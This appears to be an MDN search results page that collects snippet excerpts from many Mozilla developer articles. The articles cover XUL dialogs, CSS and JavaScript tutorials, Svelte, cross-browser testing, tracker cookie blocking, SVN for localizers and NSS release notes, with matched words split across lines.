int confirm( string atext, string adialogtitle, number abuttonflags, string abutton0title, string abutton1title, string abutton2title, string acheckmsg, object acheckstate ); parameters the second, extended confirm() method is supported starting with gecko 1.8. it accepts any number of parameters up to 8. p
revious gecko versions only support the first, one-parameter method and will throw an error on occuring the extended form. see the notes at the end of this document for a safe way to implement a fallback. atext the string to be displayed in the confirmation dialog. this string is typically in the form of a prompt for the user (e.g., "are you sure you want to delete the selected file(s)...
...unless specified otherwise, this is the default. button_pos_1_default: specifies button 1 as the default button. button_pos_2_default: specifies button 2 as th...
...unless specified otherwise, this is the default. button_pos_1_default: specifies button 1 as the default button. button_pos_2_default: specifies button 2 as the default b...
...And 2 more matches
Multiple Rules - Archive of obsolete content
the builder supports the use of multiple rules as well. this involves using additional rule elements after the first. in addition, conditions may be applied to each rule. only those results that match the conditions have content generated for them. for each result, the conditions associated with each rule are examined to see if they match. the first rule that matches causes content to be generated for that result. for example, the first rule might match directories or folders, whereas the second rule might match files. in this situtation, you would want to use different output for each type. ...
...o rules. the query generates a list of the photos and assigns the title of each photo to the variable '?title'. note that the full query syntax must be used to use conditions within rules. the first rule contains a new element, where which is used to define a condition. the second rule does not contain a where element, so it matches results unconditionally, or any result that wasn't matched by a p
revious rule. in this example, the where element in the first rule defines a condition which matches results that have a title of 'canal'. three attributes are used for this purpose. the subject is the variable from the result that want to compare. in this case, '?title' is used to compare the title. the rel specifies a relation operator to compare with. here 'equals' is the operator used so an exact...
... likely be simpler and faster to just filter these out using the query xpath expression rather than generating the results then using a condition to filter them. rules and conditions are more useful when using multiple rules. we can add multiple where elements if we want to check additional conditions. when multiple conditions are present, they must all match for the rule to apply. adding to the p
revious example, here we check for people with a space in their name, and a total number of letters less than 15. note the assign element in the example above, used to calculate the '?letters' variable from the length of the name, minus one for the space character. naturally, this won't work for people with more than two names (joan of arc for instance), but rule conditions allow a number of useful w...
...And 2 more matches
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
in that example, oncommand handlers were added to some buttons. handler element however, you may want to add an event handler to the entire contents, that is, all the elements defined in the content tag. this could be useful when trapping the focus and blur events. to define an event handler, use the handler element. ...
...in that example, oncommand handlers were added to some buttons. handler element however, you may want to add an event handler to the entire contents, that is, all the elements defined in the content tag. this could be useful when trapping the focus and blur events. to define an event handler, use the handler element. ...
...similarly, you may wish to change a property when the element is focused. you might have a need to change whether an element can have the focus or not. for this, you can use a special style property -moz-user-focus. this property controls whether an element can be focused. (see focus and selection) handling mouse events for mouse events, you can use the button attribute to have the handler ...
...And 2 more matches
Tree Box Objects - Archive of obsolete content
it is used to indicate that one or more rows have been added to the tree or removed from the tree. the tree will redraw the affected area. you don't need to call the rowcountchanged() function when a row has simply changed in some way, for example if a cell's label changes. in this case, there are other drawing functions that can be used. ...
... » this section will describe the tree box object used to handle how a tree is displayed. about the tree box object box objects were described in an earlier section. the tree box object is a specialized box object used specifically for trees. the tree box implements the treeboxobject interface. redrawing the tree we already saw the rowcountchanged() function of the tree box object in the p
revious section. it is used to indicate that one or more rows have been added to the tree or removed from the tree. the tree will redraw the affected area. you don't need to call the rowcountchanged() function when a row has simply changed in some way, for example if a cell's label changes. in this case, there are other drawing functions that can be used. the simplest is to call invalidaterow() which...
... if the column is a string, we are running on mozilla 1.7 or earlier, but for later versions we get the column id from the column object. if you are writing code for multiple versions, you should check for this as above. the last argument to getcellat() is the child type which is filled in with a string depending on what part of the cell the coordinate is at. if you move the mouse around in the p
revious example, you might notice the label change between 'text' and 'cell'. the value 'text' indicates the area where the text would be drawn and the value 'cell' indicates the area around the text, for example, the margin on the left side where the open and close twisties are normally drawn. if there was a twisty, however, the value would be 'twisty' instead. this is convenient since you could det...
...And 2 more matches
Mozilla release FAQ - Archive of obsolete content
similar to a bsd-style license. take a look at mozilla.org's npl area for details. what are all of the codenames given to various netscape/mozilla projects? gecko (formerly raptor) is the new html rendering engine in mozilla. it features speed improvements, a more modular nature, and significantly less platform-dependant code. ...
... at mozilla.org's npl area for details. what are all of the codenames given to various netscape/mozilla projects? gecko (formerly raptor) is the new html rendering engine in mozilla. it features speed improvements, a more modular nature, and significantly less platform-dependant code. it is more suitable for being embedded in other applications than the p
revious rendering engine. ...
...ecause you're not using a recognized version of your os. go dig through the makefiles in config and remove the offending portions, and see if that fixes things. if not, post to netscape.public.mozilla.builds problems of this sort are currently most likely to happen in nspr, as it still uses the classic build system. it's doubtful that this will happen in the main tree. /usr/include/stdlib.h:196: p
revious declaration of `seed48' see section 3.7 nothing looks much like an error, except something returned error status your compiler has a switch (probably) that prints everything it's doing (i.e. programs spawned), which might help you find out what arguments it's passing to ld, or whatever, and thus perhaps enlighten you as to the problem. on gcc, try gcc -v (rest of command line). how long will...
...And 2 more matches
Reference - Archive of obsolete content
values for the script's language attribute no longer work, e.g. <script language="javascript1.2"> will execute the script in the latest js version rather than js 1.2. so how should this be documented? in fx 1.0, js 1.2 is available, but not in the upcoming fx 1.5. there are 5 cases where "javascript1.2" is mentioned in this reference: special:search?search=javascript1.2&go=go. how should they be
revised? --maian 23:43, 21 september 2005 (pdt) i think we need a new section in the reference that specifies the differences between versions, collecting this information into a single location rather than leaving it scattered haphazardly throughout the reference as it currently is. once that is done, the various code samples should be updated to reflect current practices and code if they cannot b...
....2 engine. --maian 05:41, 22 september 2005 (pdt) this is true. the wording should be changed with the javascript 1.x examples, as well as refer to the versions in the past tense. i also support the use of a deprecated pre box with these examples. since it's been 9 months since the last comment on this, i think i'll go ahead and change all of the examples. if anyone disagrees, you can always
revert. sevenspade 13:19, 2 july 2006 (pdt) after some thought, i removed the references to using language="javascript1.2", and all references are merely presented as information detailing past behavior. the "backwards compatibility" sections have been renamed to "behavior in older versions." however, i think this is only appropriate if we are going to document the evolution of everything, or a...
...available in object which again suggests that object is not function. wich means that object actually doesn't inherit from function , but function inherits from object which is exactly the oppisite as my first thought (see picture above). i say this because now the function is not available in object, as if the inheritance is : object->function->instance but... while also holding in account the p
revious example where it was avalable in both instances when prototyping object it should be : function->object->instance or (function=object)->instance and ofcourse function == object return false ;) and the following statements also tells me that function == object although math is only an instance of object... which basicly says function != object alert(function instanceof object) //true alert...
...And 2 more matches
Desktop gamepad controls - Game development
it brings a console-like experience to your web games. the gamepad api gives you the ability to connect a gamepad to your computer and detect pressed buttons directly from the javascript code thanks to the browsers implementing such feature. an api exposes all the information you need to hook up your game's logic and successfully control the user interface and gameplay. api status, browser and hardware support the gamepad api is still in working draft status, although browser support is already quite good — around 63% global coverage, according to caniuse.com. ...
...y are fired when the gamepad is connected and disconnected respectively. the next function is update(), which updates the information about the pressed buttons and axes. the buttons variable contains the layout of a given controller (for example which buttons are where, because an xbox 360 layout may be different to a generic one), the cache containing the information about the buttons from the p
revious frame and the status containing the information from the current frame. the pressed() function gets the input data and sets the information about it in our object, and the axes property stores the array containing the values signifying the amount an axis is pressed in the x and y directions, represented by a float in the (-1, 1) range. after the gamepad is connected, the information about t...
...next, the button status is cleared and the new information is added. the same goes for the axes information — looping through axes adds the values to the array. received values are assigned to the proper objects and returns the pressed info for debugging purposes. the button.pressed() function detects the actual button presses: pressed: function(button, hold) { var n...
...And 2 more matches
Mobile accessibility - Learn web development
objective: to understand what problems exist with accessibility on mobile devices, and how to overcome them. accessibility on mobile devices the state of accessibility — and support for web standards in general — is good in modern mobile devices. ...
...evices being so popular and renowned platforms such as ios and android having full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. this article looks at mobile-specific accessibility considerations. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and an understanding of the p
revious articles in the course. objective: to understand what problems exist with accessibility on mobile devices, and how to overcome them. accessibility on mobile devices the state of accessibility — and support for web standards in general — is good in modern mobile devices. long gone are the days when mobile devices ran completely different web technologies to desktop brow...
...ou can do a two-finger swipe up from the bottom of the lock screen. if you've set a passcode or pattern for unlocking your device, you will then be taken to the relevant entry screen to enter it. you can also explore by touch to find the unlock button at the bottom middle of the screen, and then double-tap. global and local menus talkback allows you to access global and local context menus, whe
rever you have navigated to on the device. the former provides global options relating to the device as a whole, and the latter provides options relating just to the current app/screen you are in. to get to these menus: access the global menu by quickly swiping down, and then right. access the local menu by quickly swiping up, and then right. swipe left and right to cycle between the different ...
...And 2 more matches
How CSS is structured - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works. objective: to learn css's fundamental syntax structures in detail. applying css to html first, let's examine three methods of applying css to a document: with an external stylesheet, with an internal stylesheet, and with inline styles. external stylesheet an external stylesheet contains css in a separate file with a .css extension. this is the most common and useful method of bringing css to a document. ...
...ay encounter scenarios where two selectors select the same html element. consider the stylesheet below, with a p selector that sets paragraph text to blue. however, there is also a class that sets the text of selected elements to red. .special { color: red; } p { color: blue; } suppose that in our html document, we have a paragraph with a class of special. both rules apply. which selector p
revails? do you expect to see blue or red paragraph text? <p class="special">what color am i?</p> the css language has rules to control which selector is stronger in the event of a conflict. these rules are called cascade and specificity. in the code block below, we define two rules for the p selector, but the paragraph text will be blue. this is because the declaration that sets the paragraph text...
...aph text will be blue. this is because the declaration that sets the paragraph text to blue appears later in the stylesheet. later styles replace conflicting styles that appear earlier in the stylesheet. this is the cascade rule. p { color: red; } p { color: blue; } however, in the case of our earlier example with the conflict between the class selector and the element selector, the class p
revails, rendering red paragraph text. how can this happen even though a conflicting style appears later in the stylesheet? a class is rated as being more specific, as in having more specificity than the element selector, so it cancels the other conflicting style declaration. try this experiment for yourself! add html, then add the two p { ... } rules to your stylesheet. next, change the first p sel...
...And 2 more matches
Fundamental text and font styling - Learn web development
ext line, until all the content has been placed in the box. text content effectively behaves like a series of inline elements, being laid out on lines adjacent to one another, and not creating line breaks until the end of the line is reached, or unless you force a line break manually using the <br> element. note: if the above paragraph leaves you feeling confused, then no matter — go back and
review our box model article, to brush up on the box model theory, before carrying on. the css properties used to style text generally fall into two categories, which we'll look at separately in this article: font styles: properties that affect the font that is applied to the text, affecting what font is applied, how big it is, whether it is bold, italic, etc. text layout styles: properties tha...
...ething approximately suitable. to emphasise this point, paragraphs are given the browser's default serif font if no other option is available — which is usually times new roman — this is no good for a sans-serif font! note: font names that have more than one word — like trebuchet ms — need to be surrounded by quotes, for example "trebuchet ms". a font-family example let's add to our p
revious example, giving the paragraphs a sans-serif font: p { color: red; font-family: helvetica, arial, sans-serif; } this gives us the following result: <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. many a fat alley rat had met its d...
...at as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine. truly a wonder of nature this urban predator — tommy the cat had many a story to tell. but it was a rare occasion such as this that he did.</p> font size in our p
revious module's css values and units article, we
reviewed length and size units. font size (set with the font-size property) can take values measured in most of these units (and others, such as percentages), however the most common units you'll use to size text are: px (pixels): the number of pixels high you want the text to be. this is an absolute unit — it results in the same final computed v...
...And 2 more matches
Styling lists - Learn web development
this article explains all. prerequisites: basic computer literacy, html basics (study introduction to html), css basics (study introduction to css), css text and font fundamentals. objective: to become familiar with the best practices and properties related to styling lists. a simple list example to begin with, let's look at a simple list example. throughout this article, we'll look at unordered, ordered, and description lists — all have styling features that are similar, and some that are particular to their type of list. ...
...tart attribute allows you to start the list counting from a number other than 1. ...
... allows you to start the list counting from a number other than 1. ...
...And 2 more matches
JavaScript basics - Learn web development
this happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc. this article helps you get started with javascript and furthers your understanding of what is possible. what is javascript? javascript ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website. it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascript is versatile and beginner-friendly. ...
...e comparison is not true, the second block of code—after the else statement—runs instead. functions functions are a way of packaging functionality that you wish to reuse. it's possible to define a body of code as a function that executes when you call the function name in your code. this is a good alternative to repeatedly writing the same code. you have already seen some uses of functions p
reviously. for example: let myvariable = document.queryselector('h1'); alert('hello!'); these functions, document.queryselector and alert, are built into the browser. if you see something which looks like a variable name, but it's followed by parentheses— () —it is likely a function. functions often take arguments: bits of data they need to do their job. arguments go inside the p...
...e select the <html> element, setting its onclick handler property equal to an anonymous (i.e. nameless) function, which contains the code we want the click event to run. note that document.queryselector('html').onclick = function() {}; is equivalent to let myhtml = document.queryselector('html'); myhtml.onclick = function() {}; it's just shorter. supercharging our example website with this
review of javascript basics completed (above), let's add some new features to our example site. adding an image changer in this section, you will learn how to use javascript and dom api features to alternate the display of one of two images. this change will happen as a user clicks the displayed image. choose an image you want to feature on your example site. ideally, the image will be the same ...
...And 2 more matches
Handling text — strings in JavaScript - Learn web development
in this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to gain familiarity with the basics of strings in javascript. the power of words words are very important to humans — they are a large part of how we communicate. ...
...far in the course have involved some string manipulation. strings — the basics strings are dealt with similarly to numbers at first glance, but when you dig deeper you'll start to see some notable differences. let's start by entering some basic lines into the browser developer console to familiarize ourselves. creating a string to start with, enter the following lines: let string = 'the
revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value. the only difference here is that when writing a string, you need to surround the value with quotes. if you don't do this, or miss one of the quotes, you'll get an error. try entering the following lines: let badstring = this is...
... then an error is raised (e.g. "missing; before statement"). if the browser can see where a string starts, but can't find the end of the string, as indicated by the 2nd quote, it complains with an error (with "unterminated string literal"). if your program is raising such errors, then go back and check all your strings to make sure you have no missing quote marks. the following will work if you p
reviously defined the variable string — try it now: let badstring = string; badstring; badstring is now set to have the same value as string. single quotes vs. double quotes in javascript, you can choose single quotes or double quotes to wrap your strings in. both of the following will work okay: let sgl = 'single quotes.'; let dbl = "double quotes"; sgl; dbl; there is very little dif...
...And 2 more matches
Useful string methods - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to understand that strings are objects, and learn how to use some of the basic methods available on those objects to manipulate strings. strings as objects most things are objects in javascript. ...
...\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n }' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...lement(\'li\');' + '\n listitem.textcontent = result;' + '\n list.appendchild(listitem);' + '\n' + '\n}'; let solutionentry = jssolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back;...
...And 2 more matches
Introduction to the server side - Learn web development
on information provided by the user or stored preferences and can perform other operations as part of returning a response (e.g. sending notifications). most of the code to support a dynamic website must run on the server. creating this code is known as "server-side programming" (or sometimes "back-end scripting"). the diagram below shows a simple architecture for a dynamic website. as in the p
revious diagram, browsers send http requests to the server, then the server processes the requests and returns appropriate http responses. requests for static resources are handled in the same way as for static sites (static resources are any files that don't change —typically: css, javascript, images, pre-created pdf files etc). requests for dynamic resources are instead forwarded (2) to serv...
...ther very useful tools. what can you do on the server-side? server-side programming is very useful because it allows us to efficiently deliver information tailored for individual users and thereby create a much better user experience. companies like amazon use server-side programming to construct search results for products, make targeted product suggestions based on client preferences and p
revious buying habits, simplify purchases, etc. banks use server-side programming to store account information and allow only authorized users to view and make transactions. other services like facebook, twitter, instagram, and wikipedia use server-side programming to highlight, share, and control access to interesting content. some of the common uses and benefits of server-side programming are lis...
...s store credit cards so that details don't have to be entered again. sites like google maps can use saved or current locations for providing routing information, and search or travel history to highlight local businesses in search results. a deeper analysis of user habits can be used to anticipate their interests and further customize responses and notifications, for example providing a list of p
reviously visited or popular locations you may want to look at on a map. note: google maps saves your search and visit history. frequently visited or frequently searched locations are highlighted more than others. google search results are optimized based on p
revious searches. go to google search. search for "football". now try typing "favourite" in the search box and observe the autocompl...
...And 2 more matches
TypeScript support in Svelte - Learn web development
we also had a look at using the transition directive to implement animations on dom elements in svelte. we will now learn how to use typescript in svelte applications. first we'll learn what typescript is and what benefits it can bring us. then we'll see how to configure our project to work with typescript files. finally we will go over our app and see what modifications we have to make to fully take advantage of typescript features. ...
... todos.svelte we will also use the filter enum in the todos.svelte component. first add the lang='ts' attribute to it, as before. next, import the filter enum — add the following import statement below your existing ones: import { filter } from '../types/filter.enum' now we will use it whenever we reference the current filter. replace your two filter-related blocks ...
... the following error reported, related to where we set the tabindex attribute. that's because typescript is type-checking the <h2> element and expects tabindex to be of type number. to fix it, replace tabindex="-1" with tabindex={-1}, like this: <h2 id="list-heading" bind:this={headingel} tabindex={-1}>{completedtodos} out of {totaltodos} items completed</h2> this way typescript can p
revent us from incorrectly assigning it to a string variable. newtodo.svelte next we will take care of newtodo.svelte. as usual, add the lang='ts' attribute. the warning will indicate that we have to specify a type for the nameel variable. set its type to htmlelement like this: let nameel: htmlelement // reference to the name input dom node last for this file, we need to...
...And 2 more matches
Deployment and next steps - Learn web development
in this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your svelte learning journey. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to prepare our svelte app for production, and what learning resources you should visit next. ...
...5/5), done. writing objects: 100% (5/5), 541 bytes | 541.00 kib/s, done. total 5 (delta 3), reused 0 (delta 0) to gitlab.com:opensas/mdn-svelte-todo.git 7dac9f3..5725f46 master -> master whenever there's a job running gitlab will display an icon showing the process of the job. clicking on it will let you inspect the output of the job. you can also check the progress of the current and p
revious jobs from the ci / cd > jobs menu option of your gitlab project. once gitlab finishes building and publishing your app, it will be accessible at https://your-user.gitlab.io/mdn-svelte-todo/; in my case it's https://opensas.gitlab.io/mdn-svelte-todo/. you can check your page's url in gitlab's ui — see the settings > pages menu option. with this configuration, whenever you push changes to...
...ifficult to make a recommendation. nevertheless, svelte.js — the complete guide by academind is a very popular option with great ratings. the svelte handbook, by flavio copes, is also a useful reference for learning the main svelte concepts. if you prefer to read books, there's svelte and sapper in action by mark volkman, expected to be published in september 2020, but which you can already p
review online for free. if you want dive deeper and understand the inner working of svelte's compiler you should check tan li hau's compile svelte in your head blog posts. here's part 1, part 2, and part 3. interacting with the community there are a number of different ways to get support and interact with the svelte community: svelte.dev/chat: svelte's discord server. @sveltejs: the official...
...And 2 more matches
Working with Svelte stores - Learn web development
in this article we will show another way to handle state management in svelte — stores. stores are global global data repositories that hold values. components can subscribe to stores and receive notifications when their values change. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. ...
...= value) ondestroy(unsubscribe) </script> {mystorecontent} that's too much boilerplate for svelte! being a compiler, svelte has more resources to make our lives easier. in this case svelte provides the reactive $store syntax, also known as auto-subscription. in simple terms, you just prefix the store with the $ sign and svelte will generate the code to make it reactive automatically. so our p
revious code block can be replaced with this: <script> import mystore from './stores.js' </script> {$mystore} and $mystore will be fully reactive. this also applies to your own custom stores. if you implement the subscribe() and set() methods, like we'll do later, the reactive $store syntax will also apply to your stores. let's apply this to our alert component. update the <script> and mar...
...nt it's a bit annoying having to click on the alert to get rid of it. it would be better if the notification just disappeared after a couple of seconds. lets see how to do that. we'll specify a prop with the milliseconds to wait before clearing the notification, and we'll define a timeout to remove the alert. we'll also take care of clearing the timeout when the alert component is unmounted to p
revent memory leaks. update the <script> section of your alert.svelte component like so: <script> import { ondestroy } from 'svelte' import { alert } from '../stores.js' export let ms = 3000 let visible let timeout const onmessagechange = (message, ms) => { cleartimeout(timeout) if (!message) { // hide alert if message is empty visible = false } ...
...And 2 more matches
Implementing feature detection - Learn web development
this article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross-browser testing. ...
...ative feature detection mechanism introduced — the @supports at-rule. this works in a similar manner to media queries (see also responsive design problems) — except that instead of selectively applying css depending on a media feature like a resolution, screen width or aspect ratio, it selectively applies css depending on whether a css feature is supported. for example, we could rewrite our p
revious example to use @supports — see supports-feature-detect.html and supports-styling.css. if you look at the latter, you'll see a couple of @supports blocks, for example: @supports (flex-flow: row) and (flex: 1) { main { display: flex; } main div { padding-right: 4%; flex: 1; } main div:last-child { padding-right: 0; } } this at-rule block applies the css rule ...
... for each condition to work, you need to include a complete declaration (not just a property name) and not include the semi-colon on the end. @supports also has or and not logic available — the other block applies the float layout if the flexbox properties are not available: @supports not (flex-flow: row) and (flex: 1) { /* rules in here */ } this may look a lot more convenient than the p
revious example — we can do all of our feature detection in css, no javascript required, and we can handle all the logic in a single css file, cutting down on http requests. the problem here is browser support — @supports is not supported at all in ie, and only supported in very recent versions of safari/ios webkit (9+/9.2+), whereas the javascript version should work in much older browsers (prob...
...And 2 more matches
Introduction to cross browser testing - Learn web development
es occur? there are many different reasons why cross browser issues occur, and note that here we are talking about issues where things behave different across different browsers / devices / browsing preferences. before you even get to cross browser issues, you should have already fixed out bugs in your code (see debugging html, debugging css, and what went wrong? troubleshooting javascript from p
revious topics to refresh your memory if needed). cross browser issues commonly occur because: sometimes browsers have bugs, or implement features differently. this situation is a lot less bad than it used to be; back when ie4 and netscape 4 were competing to be the dominant browser in the 1990s, browser companies deliberately implemented things differently to each other to try to gain competitiv...
...consuming and scary, but it needn't be — you just need to plan carefully for it, and make sure you do enough testing in the right places to make sure you don't run into unexpected problems. if you are working on a large project, you should be testing it regularly, to make sure that new features work for your target audience, and that new additions to the code don't break old features that were p
reviously working. if you leave all the testing to the end of a project, any bugs you uncover will be a lot more expensive and time consuming to fix than if you uncover them and fix them as you go along. the workflow for testing and bug fixes on a project can be broken down into roughly the following four phases (this is only very rough — different people may do things quite differently to this):...
...go into much detail about this, but cross-browser issues can have a serious effect on such planning. once you've got an idea of the required featureset, and what technologies you will likely build these features with, you should start exploring the target audience — what browsers, devices, etc. will the target audience for this site be using? the client might already have data about this from p
revious research they've done, e.g. from other web sites they own, or from p
revious versions of the web site you are now working on. if not, you will be able to get a good idea by looking at other sources, such as usage stats for competitors, or countries the site will be serving. you can also use a bit of intuition. so for example, you might be building an e-commerce site that serves customers in n...
...And 2 more matches
Storage access policy: Block cookies from trackers
sources. the tracking protection list is maintained by disconnect. when the list is applied in firefox, we make two important changes: first, we only use the "basic protection" version of the list, which excludes some categories of trackers. in the future, we may expand our protections to use the "strict protection" version of the list. second, firefox uses an additional "entity list", which p
revents domains from being classified as trackers when they are loaded on a top-level site owned by the same organization. firefox uses the built-in tracking protection url classifier to determine which resources match the tracking protection list. domains are matched against the list in accordance with the safebrowsing v4 specification. specifically, we check the exact hostname of the resource aga...
... a.b.example.com yes blah.example.com example.com no a.b.example.com c.d.example.com no blah.example.com foo.blah.example.com yes what does the storage access policy block? the storage access policy blocks resources identified as trackers from accessing their cookies and other site storage when they are loaded in a third-party context. this p
revents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties. specifically, firefox does this by imposing the following restrictions: cookies: block cookie request headers and ignore set-cookie response headers. return an empty string for calls to document.cookie and ignore requests to set ...
...r third-party resources classified as trackers is set to strict-origin-when-cross-origin. what is not blocked by the policy? this policy does not currently restrict third-party storage access for resources that are not classified as tracking resources. we may choose to apply additional restrictions to third-party storage access in the future. the restrictions applied by the policy will not p
revent third-party scripts classified as tracking resources from accessing storage in the main context of the page. these scripts can continue to use storage scoped to the top-level origin. origins classified as trackers will have access to their own storage when they are loaded in a first-party context. cross-origin resources loaded from the same etld+1 as the top-level context will still have acc...
...And 2 more matches
SVN for Localizers
arn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them. first things first, we need to give you a brief introduction to what svn is and where you can find the necessary tools to get started. if you're already familiar with this information, skip ahead to mozilla's svn repositories. brief intro to svn svn (abb
reviation for subversion) is a free and open source repository tool we use to manage the localized mozilla web pages. it's a handy tool that allows us to grab, change, and store versions of source files in one location. you should know that when we say svn we are referring to either the svn server and the svn client. this may seem confusing, but don't fret because we'll make sure to differentiate bet...
...nd directories that are in the testing stage (i.e., staging). all file modifications belong in trunk because they are seen most frequently. inside mozilla.com/trunk/locales, there are separate directories for each locale that is localizing mozilla.com. in each of those locale directories are other directories with files to be localized in .lang format. note: we use the terms stage and prod (abb
reviations of the terms staging and production) to refer to testing and publicly visible websites, respectively. working with svn now that you understand the mozilla svn repository layout (in particular the layout for mozilla.com), let's get some files into your hands to start localizing! the first thing you need to do is copy the mozilla repository you want to work on to your computer. enter t...
... your local svn repository (i.e., working directory) will be updated with the newest files from the url you initially cloned your repository from. it's very important that you do this often. as a general rule, you should at least do it before translating anything. sometimes mistakes happen and you need to start over. go back to the root of your working directory and execute this command: svn
revert * this is a really helpful command because it
reverts all of your changes to your working directory's last updated state. this is a huge blessing if you have been updating frequently. it's a nightmare if you haven't because it throws away all of your recent hard work. keep this in mind because if you did a lot of work and you made some errors in just one file, maybe it would be wiser to simp...
...And 2 more matches
NSS 3.12.4 release notes
ss_3_12_4_rtm nss see the documentation section for the build instructions. nss 3.12.4 source is also available on ftp.mozilla.org for secure https download: source tarball: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_12_4_rtm/src/. major changes in nss 3.12.4 nss 3.12.4 is the version that we submitted to nist for fips 140-2 validation. currently nss 3.12.4 is in the "
review pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h). cert_decodecrlissuingdistributionpoint cert_findcrlissuingdistpointexten the old documentation of the expression matching syntax rules was incorrect, and the new corrected documentation is as follows for public ns...
... 470500: firefox 3.1b2 crash report [[@ nssutil3.dll@0x34c0 ] bug 482742: enable building util independently of the rest of nss bug 483653: unable to build certutil.exe for fennec/wince bug 485145: miscellaneous crashes in signtool on windows bug 485155: nss_enable_pkix_verify=1 causes sec_error_unknown_issuer errors bug 485527: rename the _x86_ macro in lib/freebl bug 485658: vfychain -p reports
revoked cert bug 485745: modify fipstest.c to support cavs 7.1 drbg testing bug 486304: cert7.db/cert8.db corruption when importing a large certificate (>64k) bug 486405: allocator mismatches in pk12util.c bug 486537: disable execstack in freebl x86_64 builds on linux bug 486698: facilitate the building of major components independently and in a chain manner by downstream distributions bug 486999: ca...
...whenever value exceeds 384 bytes bug 487736: libpkix passes wrong argument...
...And 2 more matches
NSS PKCS11 Functions
"secmod.h" extern secstatus secmod_unloadusermodule(secmodmodule *module); parameters this function has the following parameters: module is the module to be unloaded. returns the function returns one of these values: if successful, secsuccess. if unsuccessful, secfailure. description secmod_unloadusermodule detaches a module from the nss trust domain and unloads it. the module should have p
reviously been loaded by secmod_loadusermodule. secmod_closeuserdb close an already opened user database. note: the database must be in the internal token, and must be one created with secmod_openuserdb(). once the database is closed, the slot will remain as an empty slot until it's used again with secmod_openuserdb(). syntax #include <pk11pub.h> secstatus secmod_closeuserdb(pk11slotinfo *slot) p...
...b - don't try to open a certificate database. nokeydb - don't try to open a key database. forceopen - don't fail to initialize the token if thedatabases could not be opened. passwordrequired - zero length passwords are not acceptable(valid only if there is a keydb). optimizespace - allocate smaller hash tables and lock tables.when this flag is not specified, softoken will allocatelarge tables to p
revent lock contention. for more info on module strings see pkcs11_module_specs. this function will return a reference to a slot. the caller is responsible for freeing the slot reference when it is through. freeing the slot reference will not unload the slot. that happens with the corresponding secmod_closeuserdb() function. until the secmod_closeuserdb function is called, the newly opened database ...
...certfromnickname( char *nickname, void *passwordarg); parameters this function has the following parameters: nickname a pointer to the nickname in the certificate database or to the nickname in the token. passwordarg a pointer to application data for the password callback function. this pointer is set with ssl_setpkcs11pinarg during ssl configuration. to retrieve its current value, use ssl_
revealpinarg. returns the function returns one of these values: if successful, a pointer to a certificate structure. if unsuccessful, null. description when you are finished with the certificate structure returned by pk11_findcertfromnickname, you must free it by calling cert_destroycertificate. the pk11_findcertfromnickname function calls the password callback function set with pk11_setpasswordfun...
...And 2 more matches
NSS_3.12.3_release_notes.html
s's ability to interoperate with cryptographic hardware and software from other sources. most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors. in anticipation of that, the nss team has provided ways to easily cause nss to
revert to its p
revious behavior through the use of environment variables. here is a table of the new environment variables introduced in nss 3.12.3 and information about how they affect these new behaviors. the information in this table is excerpted from https://developer.mozilla.org/en/nss_reference/nss_environment_variables environment variable ...
...ompatibility (wildcards) bug 334678: prng_fips1861.c redefines the macro bsize on hp-ux bug 335016: mpp_pprime (miller-rabin probabilistic primality test) may choose 0 or 1 as the random integer bug 347037: make shlibsign depend on the softoken only bug 371522: auto-update of crls stops after first update bug 380784: pk11mode in non fips mode failed. bug 394077: libpkix need to return
